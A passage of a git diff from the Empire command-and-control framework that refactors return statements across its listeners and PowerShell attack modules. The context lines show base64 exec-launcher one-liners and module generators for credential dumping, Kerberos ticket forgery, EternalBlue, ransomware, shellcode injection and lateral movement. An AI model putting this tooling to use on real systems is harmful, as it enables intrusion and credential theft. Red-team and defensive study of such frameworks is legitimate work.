listenerOptions): """ @@ -848,7 +849,7 @@ def send_stager(stager, hop=None): obfuscation_command = obfuscation_config.command if stager == "powershell": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="powershell", encode=False, @@ -858,10 +859,9 @@ def send_stager(stager, hop=None): proxy=proxy, proxyCreds=proxyCreds, ) - return launcher elif stager == "python": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=hop or listenerName, language="python", encode=False, @@ -871,7 +871,6 @@ def send_stager(stager, hop=None): proxy=proxy, proxyCreds=proxyCreds, ) - return launcher elif stager == "ironpython": if hop: @@ -896,8 +895,7 @@ def send_stager(stager, hop=None): launcher, dot_net_version="net40", obfuscate=obfuscation ) with open(directory, "rb") as f: - code = f.read() - return code + return f.read() elif stager == "csharp": filename = self.mainMenu.stagers.generate_launcher( @@ -911,8 +909,7 @@ def send_stager(stager, hop=None): ) directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/net35/{filename}.exe" with open(directory, "rb") as f: - code = f.read() - return code + return f.read() else: return make_response(self.default_response(), 404) @@ -926,6 +923,7 @@ def check_ip(): message = f"{listenerName}: {request.remote_addr} on the blacklist/not on the whitelist requested resource" self.instance_log.info(message) return make_response(self.default_response(), 404) + return None @app.after_request def change_header(response): @@ -1095,6 +1093,7 @@ def handle_get(request_uri): message = f"{listenerName}: Results are None for {request_uri} from {clientIP}" self.instance_log.debug(message) return make_response(self.default_response(), 200) + return None else: return make_response(self.default_response(), 200) @@ -1219,6 +1218,7 @@ def handle_post(request_uri): return make_response(results, 200) else: return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 1f0cdcddd..8f4a4da7a 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -323,6 +323,7 @@ def generate_launcher( log.error( "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) + return None def generate_stager( self, @@ -423,6 +424,7 @@ def generate_stager( log.error( "listeners/http_com generate_stager(): invalid language specification, only 'powershell' is current supported for this module." ) + return None def generate_agent( self, @@ -481,6 +483,7 @@ def generate_agent( log.error( "listeners/http_com generate_agent(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -506,15 +509,16 @@ def generate_comms(self, listenerOptions, language=None): "request_headers": requestHeader, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_com generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None else: log.error("listeners/http_com generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ @@ -552,14 +556,13 @@ def send_stager(stager): obfuscation_command = obfuscation_config.command if stager == "powershell": - launcher = self.mainMenu.stagers.generate_launcher( + return self.mainMenu.stagers.generate_launcher( listenerName=listenerName, language="powershell", encode=False, obfuscate=obfuscation, obfuscation_command=obfuscation_command, ) - return launcher else: return make_response(self.default_response(), 404) @@ -576,6 +579,7 @@ def check_ip(): log.debug(message) return make_response(self.default_response(), 404) + return None @app.after_request def change_header(response): @@ -716,6 +720,7 @@ def handle_get(request_uri): f"{listenerName}: Results are None..." ) return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) @@ -809,6 +814,7 @@ def handle_post(request_uri): return make_response(base64.b64encode(results), 200) else: return make_response(self.default_response(), 404) + return None else: return make_response(self.default_response(), 404) diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 7a57e183d..d611da3e9 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -374,8 +374,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -383,6 +382,7 @@ def generate_launcher( log.error( "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -433,8 +433,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -449,15 +448,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_foreign generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/http_foreign generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index abd61d03f..525cc5be6 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -323,8 +323,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" else: return launcherBase @@ -332,6 +331,7 @@ def generate_launcher( log.error( "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -478,6 +478,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, listenerOptions, language=None, obfuscate=False, obfuscation_command="" @@ -512,8 +513,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -528,15 +528,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http_hop generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/http_hop generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 19f4aad8e..f2e936c3a 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -568,8 +568,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -577,6 +576,7 @@ def generate_launcher( log.error( "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." ) + return None def generate_stager( self, @@ -821,6 +821,7 @@ def generate_agent( log.error( "listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -1353,8 +1354,10 @@ def send_staging_for_child(self, received_data, hop_name): log.error( "listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) + return None else: log.error("listeners/template generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 4f7db1cf0..02432f1b4 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -294,6 +294,7 @@ def generate_launcher( "listeners/onedrive generate_launcher(): Python agent not implemented yet" ) return "Python not implemented yet" + return None def generate_stager( self, @@ -372,6 +373,7 @@ def generate_stager( else: log.error("Python agent not available for Onedrive") + return None def generate_comms( self, @@ -407,15 +409,16 @@ def generate_comms( "taskings_folder": taskings_folder, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/onedrive generate_comms(): invalid language specification, only 'powershell' is currently supported for this module." ) + return None else: log.error("listeners/onedrive generate_comms(): no language specified!") + return None def generate_agent( self, @@ -431,7 +434,7 @@ def generate_agent( if not language: log.error("listeners/onedrive generate_agent(): No language specified") - return + return None language = language.lower() delay = listener_options["DefaultDelay"]["Value"] @@ -473,6 +476,7 @@ def generate_agent( agent_code = self.mainMenu.obfuscationv2.obfuscate_keywords(agent_code) return agent_code + return None def start_server(self, listenerOptions): self.instance_log = log_util.get_listener_logger( diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index e87accbd2..7ad8e5083 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -349,8 +349,7 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase @@ -381,16 +380,17 @@ def generate_launcher( self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) + return None else: - file_name = compiler.do_send_stager( + return compiler.do_send_stager( stager_yaml, "Sharpire", confuse=obfuscate ) - return file_name else: log.error( "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None def generate_stager( self, @@ -518,6 +518,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -614,12 +615,12 @@ def generate_agent( return code elif language == "csharp": # currently the agent is stageless so do nothing - code = "" - return code + return "" else: log.error( "listeners/http generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -645,8 +646,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -661,15 +661,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/http generate_comms(): no language specified!") + return None def start(self): """ diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index e1b2bfbfc..44ca61485 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -217,14 +217,15 @@ def generate_launcher( launchEncoded = base64.b64encode( launcherBase.encode("UTF-8") ).decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase else: log.error( "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) + return None + return None def generate_stager( self, @@ -263,6 +264,7 @@ def generate_stager( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language.lower() == "python": template_path = [ @@ -306,6 +308,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -336,6 +339,7 @@ def generate_agent( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language == "python": with open( @@ -368,6 +372,7 @@ def generate_agent( log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -387,6 +392,7 @@ def generate_comms(self, listenerOptions, language=None): log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None elif language.lower() == "python": template_path = [ @@ -401,15 +407,16 @@ def generate_comms(self, listenerOptions, language=None): "pipe_name": pipe_name, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "Invalid language specification, only 'ironpython' is current supported for this module." ) + return None else: log.error("generate_comms(): no language specified!") + return None def start(self): """ @@ -427,7 +434,7 @@ def start(self): ) if not agent: - return + return None self.mainMenu.agenttasksv2.create_task_smb( db, agent, name + "|" + self.options["PipeName"]["Value"] diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 52df2060e..f5ec07e02 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -216,6 +216,7 @@ def generate_launcher( "[!] listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) ) + return None def generate_stager( self, @@ -293,18 +294,21 @@ def generate_comms(self, listenerOptions, language=None): elif language.lower() == "python": # send_message() pass + return None else: print( helpers.color( "[!] listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." ) ) + return None else: print( helpers.color( "[!] listeners/template generate_comms(): no language specified!" ) ) + return None def start_server(self): pass diff --git a/empire/server/modules/powershell/code_execution/invoke_ntsd.py b/empire/server/modules/powershell/code_execution/invoke_ntsd.py index 279d7ad41..8fc09d233 100644 --- a/empire/server/modules/powershell/code_execution/invoke_ntsd.py +++ b/empire/server/modules/powershell/code_execution/invoke_ntsd.py @@ -94,10 +94,9 @@ def generate( script_end += "\r\n" script_end += code_exec - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py index 6fb27e121..e5a233524 100644 --- a/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py +++ b/empire/server/modules/powershell/code_execution/invoke_reflectivepeinjection.py @@ -59,10 +59,9 @@ def generate( elif values and values != "": script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcode.py b/empire/server/modules/powershell/code_execution/invoke_shellcode.py index fc2c7cb14..a5c597e70 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcode.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcode.py @@ -42,10 +42,9 @@ def generate( script_end += "; 'Shellcode injected.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py index 17fdd94da..d00783561 100644 --- a/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py +++ b/empire/server/modules/powershell/code_execution/invoke_shellcodemsil.py @@ -35,10 +35,9 @@ def generate( sc = ",0".join(values.split("\\"))[1:] script_end += " -" + str(option) + " @(" + sc + ")" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py index 4b8bda46e..97ec02041 100644 --- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py +++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py @@ -67,10 +67,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py index 71b443060..d21ccfbef 100644 --- a/empire/server/modules/powershell/collection/packet_capture.py +++ b/empire/server/modules/powershell/collection/packet_capture.py @@ -28,10 +28,9 @@ def generate( if persistent != "": script += " persistent=yes" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py index 646b880bb..7a2e6c955 100644 --- a/empire/server/modules/powershell/collection/screenshot.py +++ b/empire/server/modules/powershell/collection/screenshot.py @@ -40,10 +40,9 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py index b3bc8bd0e..1d65d5819 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.py @@ -39,10 +39,9 @@ def generate( outputf = params.get("OutputFunction", "Out-String") script_end += f" | {outputf};" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py index 83a166849..ea9dcae48 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.py @@ -63,10 +63,9 @@ def generate( script_end += " /ptt\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py index 1eb2d4365..adbecff4d 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py @@ -31,10 +31,9 @@ def generate( script_end += "\"';" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py index 01bbd01f2..a00c16552 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py @@ -55,10 +55,9 @@ def generate( script_end += "\"';" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py index d7fda4c25..1c85982f0 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.py +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py @@ -61,10 +61,9 @@ def generate( ';"`nUse credentials/token to steal the token of the created PID."' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py index 7d9250ab8..73764f5ae 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py @@ -70,10 +70,9 @@ def generate( script_end += " /ptt\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py index a94c47fff..e8f3e8cad 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py @@ -28,10 +28,9 @@ def generate( else: script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py index 8e61487d2..930cb2ede 100644 --- a/empire/server/modules/powershell/credentials/tokens.py +++ b/empire/server/modules/powershell/credentials/tokens.py @@ -73,10 +73,9 @@ def generate( if params["RevToSelf"].lower() != "true": script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py index 16fd0cbc0..2f2f9893d 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.py +++ b/empire/server/modules/powershell/exfiltration/PSRansom.py @@ -43,10 +43,9 @@ def generate( args += ")\n" script = args + script - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py index ddefe0337..ffccea50b 100755 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.py +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.py @@ -34,10 +34,9 @@ def generate( script_end += "; 'Exploit complete'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py index 750b7e7f9..d8a54beee 100644 --- a/empire/server/modules/powershell/lateral_movement/inveigh_relay.py +++ b/empire/server/modules/powershell/lateral_movement/inveigh_relay.py @@ -79,10 +79,9 @@ def generate( else: script_end += " -" + str(option) + ' "' + str(values) + '"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py index fbf08392f..ed319c06c 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.py @@ -77,10 +77,9 @@ def generate( script_end = f"Invoke-DCOM -ComputerName {computer_name} -Method {method} -Command '{Cmd}'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py index 3030015ed..a7d0fd383 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -104,10 +104,9 @@ def generate( script_end += " | Out-String" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py index 3ad989e93..4b5a5ec9d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.py @@ -79,10 +79,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py index a4e6e9d9d..e9aeeff51 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.py @@ -89,10 +89,9 @@ def generate( script += ";'Invoke-PSRemoting executed on " + computer_names + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py index 42ba1814d..082bb2551 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.py @@ -85,10 +85,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py index f1c0d7125..235788598 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -79,10 +79,9 @@ def generate( if password != "": script_end += " -Password " + password - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py index ec07ee275..5b6c80a0d 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -61,10 +61,9 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py index 2d474d6ff..09a9c8426 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi.py @@ -100,10 +100,9 @@ def generate( script += ";'Invoke-Wmi executed on " + computer_names + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py index d2d06a016..1c3782957 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/empire/server/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -155,10 +155,9 @@ def generate( script += ";'Invoke-Wmi executed on " + computer_names + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py index fab5aa9cd..a29f99b4d 100644 --- a/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/empire/server/modules/powershell/lateral_movement/jenkins_script_console.py @@ -55,10 +55,9 @@ def generate( script_end += " -Port " + str(params["Port"]) script_end += ' -Cmd "' + launcher + '"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 45af86c00..989a8e0bf 100644 --- a/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/empire/server/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -95,10 +95,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/invoke_bypass.py b/empire/server/modules/powershell/management/invoke_bypass.py index e4029313e..8b548ee27 100644 --- a/empire/server/modules/powershell/management/invoke_bypass.py +++ b/empire/server/modules/powershell/management/invoke_bypass.py @@ -20,7 +20,7 @@ def generate( if bypass: script += bypass.code - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate or params["Obfuscate"], @@ -30,4 +30,3 @@ def generate( else params["ObfuscateCommand"] ), ) - return script diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py index bbf53ee8b..204453182 100644 --- a/empire/server/modules/powershell/management/invoke_script.py +++ b/empire/server/modules/powershell/management/invoke_script.py @@ -29,10 +29,9 @@ def generate( script += f"{script_cmd}" - script = 